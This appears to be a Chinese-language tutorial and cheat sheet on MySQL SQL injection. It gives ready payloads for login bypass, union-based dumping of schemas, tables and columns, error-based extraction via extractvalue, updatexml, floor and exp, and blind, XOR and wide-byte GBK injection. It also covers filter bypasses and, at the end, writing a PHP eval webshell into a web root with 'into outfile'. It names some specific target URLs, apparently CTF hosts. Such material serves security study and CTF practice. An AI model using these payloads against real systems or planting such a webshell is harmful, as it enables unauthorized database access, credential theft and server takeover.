sql注入
注释符号
1 | # /* -- ;%00 `(反引号,只能在语句最后使用) |
测试注入,寻找注入点
数字型
1
select * from xxx where id=123
对于这种情况,
我们可以使用加引号(单双引号都行)的方式,破坏他的语句,使得sql语句执行错误,判断是否存在sql注入。
使用or 和 and
and 1=1 返回正常,永真条件
and 1=2 返回异常,前一个是ture,1=2是false,所以会返回异常。
or是两个都为假才是假,可以先让前面的id=1换成一个不存在的(即false),使用这个在用or 1=1
和 or 1=2 来查看。
当and 和 or 被过滤时可以尝试使用||,和&&来测试,同时可以使用1>2,1<2来测试。
加减法
由于是数字型,可以使用加减法来测试
例如 id=1+1 由于在sql中加号在sql语句中有特殊的意义,所以需要进行编码%2b
如果出现了另一个页面,则说明存在sql注入。
字符型
1
select * from xxx where username = 'admin'
引号判断。
and 和 or
‘ and ‘1’=’1 和 ‘ and ‘1’=’2
用引号闭合前一个字符,在插入我们的字符,如果第一个返回正常,第二个返回错误,则说明有sql注入。
%2B
使用’%2B’123a %2B是+,如果返回另一个页面,则说明存在sql注入。
万能密码
1 | select user_id,passsword From users Where user_id=’用户名’ and password=’密码’ |
SQL语句中逻辑运算符具有优先级,【=】优先于【and】,【and】优先于【or】,且适用传递性。
‘ or 1=‘1
会变成
1 | select user_id,passsword From users Where user_id=''or 1='1' and password='' or 1='1' |
所以会成功登录
如果or被过滤可以尝试 ||。
另一种万能密码
‘=’null 或者 ‘=’0
让语句变为
1 | select user_id,passsword From users Where user_id=''='null' and password=''='0' |
先使password与空进行比较,得到false,然后让false与0比较,结果就是ture。达到登录的目的。
联合注入
查询回显位置,同时查询有列数据
id=-1‘ union select 1,2,3,4#
查询数据库
id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata#
查询数据表名称
id=-1‘ union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='库名称'
查询数据表对应的列名称
id=-1' union select 1, group_concat(column_name),3 from information_schema.columns where table_schema='库名' and table_name='表名'
查询数据
id=-1' union select 1,group_concat(列名),3 from 表名
报错注入
order by 1,2,3
extractvalue()
id=-1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
updatexml()
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)
floor()
?id=-1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
exp()
id=-1 and exp(~(select * from(select user())a));
order by
order by 本来是用来排序的,但是也可以使用它来猜解数段。
他本来的用法是
降序是desc 升序是asc
即select * from users order by id desc;
查询users 按照id列降序排列,但是也可以使用select * from users order by 1 desc;
这里的1,2,3都会代表第一列,第二列,第三列,所以就是按照那一列排列,如果没有那一列,就会报错。
extractvalue()
extractvalue(XML_document, XPath_string); 查询字符串
XML_document:XML_document是string格式为XML文档对象的名称,可以是字符串,或某字段
XPath_string :XPath_string (Xpath格式的字符串)
作用:使用XPath符号从XML字符串提取值。第二个参数要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。
updatexml()
updatexml(XML_document, XPath_string,new_xml);修改字符串
同上一个函数一样,new_XML是替换的字符串,同样第二个参数不符合xpath语法,就会报错,并将查询结果放入报错信息。
floor()
floor()函数: 返回指定数的最大的整数,即返回整数部分。
count()函数:返回指定列的值的数目
group by:根据一个或多个列,对结果进行统计。
rand()函数:返回0-1之间的一个随机数。
当count()函数和group by同时使用时,会建立一个虚拟的表,主键不可重复,值出现重复就加一,由于floor(rand(0)*2)函数返回的随机数为伪随机数,011011… 当语句进项时会运算两次floor(rand(0)*2)导致主键重复,出现报错。
exp()
exp()函数,计算e的n次方,然后返回对应的值,但是让n的值大于709时,会导致返回的值过大,造成报错。
同样,当我们将0按位取反时也会造成报错,在函数顺利执行时返回的值是0,所以可以利用这个成功执行的函数,在通过按位取反就可以得到我们想要的结果。
盲注
盲注:盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注常用的函数
mid()函数:截取字符串一部分。
mid(str,start,length)
str:必选,规定要截取的字符串。
start:必选,规定开始截取的位置,第一个是1,不是0.
length:可选,规定返回的个数,如果不填,则返回剩下的全部字符串。
substr()函数: substr()和substring()函数实现的功能是一样的,均为截取字符串。
substr(str,start,length)
substring(str,start,length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
Left()函数:得到字符串左部指定个数的字符
left ( string, n ) string为要截取的字符串,n为长度。
ord()函数:返回第一个字符的ASCII码
常与上面的函数一起使用
例如:ord(left(database(),1))
length()函数:返回字符串的长度。
根据页面返回的不同,可以分为基于布尔的盲注,基于时间的盲注。
布尔盲注
通过返回的页面上的具体的文本,从而一个字符一个字符的判断是否正确。
通过limit语句与python的迭代器,逐个爆破,遍历字符,得到真正的数据。
1 | mysql database()=shiyan table_name=users; |
1 | import requests |
limit 语句 后的第一个参数是输出记录的初始位置,第二个参数偏移量,偏移多少,输出的条目就是多少。
1 | import requests |
……
时间盲注
时间盲注主要是用sleep()函数和if()函数
1 | if(condition,true,false) //条件语句 |
- condition 是判断条件
- true 和false 是符合condition自定义的返回结果。
如果condition
判断为正确,则产生延迟,否则不产生延迟。
异或注入
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1)。
mysql里异或运算符为^ 或者 xor
两个同为真的条件做异或,结果为假
两个同为假的条件做异或,结果为假
一个条件为真,一个条件为假,结果为真
null与任何条件(真、假、null)做异或,结果都为null
可用于判断过滤
例如
http://120.24.86.145:9004/1ndex.php?id=1’^(length(‘and’)=3) –+
当and被过滤时1^0 输出error
当and没被过滤时 1 ^ 1 输出 正常页面
宽字节注入
原理: GBK 占用两个字节 ASCII 占用一个字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
由于%df’被php转义时会转义为%df\‘给单引号前面加上反斜杠,转义他,让他无法进行干扰sql语句,从而防止注入,但是现在的16进制就变成了%df%5c%27,而如果程序的默认字符集是GBK等宽字节字符集,那么MYSQL在使用GBK编码时会认为%df%5c是一个宽字节,那么%27(即单引号)就逃逸出来了
宽字节注入:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
先测试单引号
在测试%df’ 可以看到有单引号逃逸出来。就可以使用宽字节注入了。
但是在注入列名之中
需要用
1 | ?id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sae-chinalover' %23 |
由于需要使用单引号,但是我们的单引号是逃逸出来的,所以使用会被转义,在使用%df就会在表名中插入宽字节,也会无法使用。例如
所以,需要把表名转为16进制然后在前面加上0x。
这样就可以不需要单引号了。
一个转16进制的网站:http://www.5ixuexiwang.com/str/hex.php转完在前面加上0x就可以了。
简单绕过方式
注释符绕过空格过滤
引号绕过
使用16进制,会使用到引号的地方一般是在最后的where
子句中。
在上面的宽字节注入中有说过
逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to
的方式来绕过。
1 | select substr(database() from 1 for 1); |
join绕过
1 | union select 1,2 #取别名 相当于 |
like绕过
1 | select ascii(mid(database(),1,1))=99; |
过滤常用语句union and or
1 | waf = 'and|or|union' |
还有一些常在ctf中考的双写绕过,大小写绕过等等。
sql注入getshell
mysql
- 网站的绝对路径
- gpc状态是关闭的
- root用户权限
网站的绝对路径
phpinfo泄露
猜测
gpc是否关闭这个很轻易就可以判断
剩下的root是否为用户
1 | union select 1,user(),3# |
这样可以通过回显查看是否为root用户
然后通过写入一句话木马,蚁剑连接。
1 | union select 1,"eval($_POST['tunan']);",3 into outfile "C:/phpStudy/WWW/a.php"# @ |
对于mysql,在5.7.26时会有一个新特性secure_file_priv
,我在测试时,5.5.29是没有的。
这个新特性会限制我们导出文件的目录。
可以看到,此时mysql拒绝了命令的执行,我们看一下这个secure_file_priv
看到这个对应的是NULL意思是不能让导出文件的。
而在5.5.29时,是可以执行的,所以5.7.26这个版本以及以上版本的mysql,很难在进行sql注入getshell了。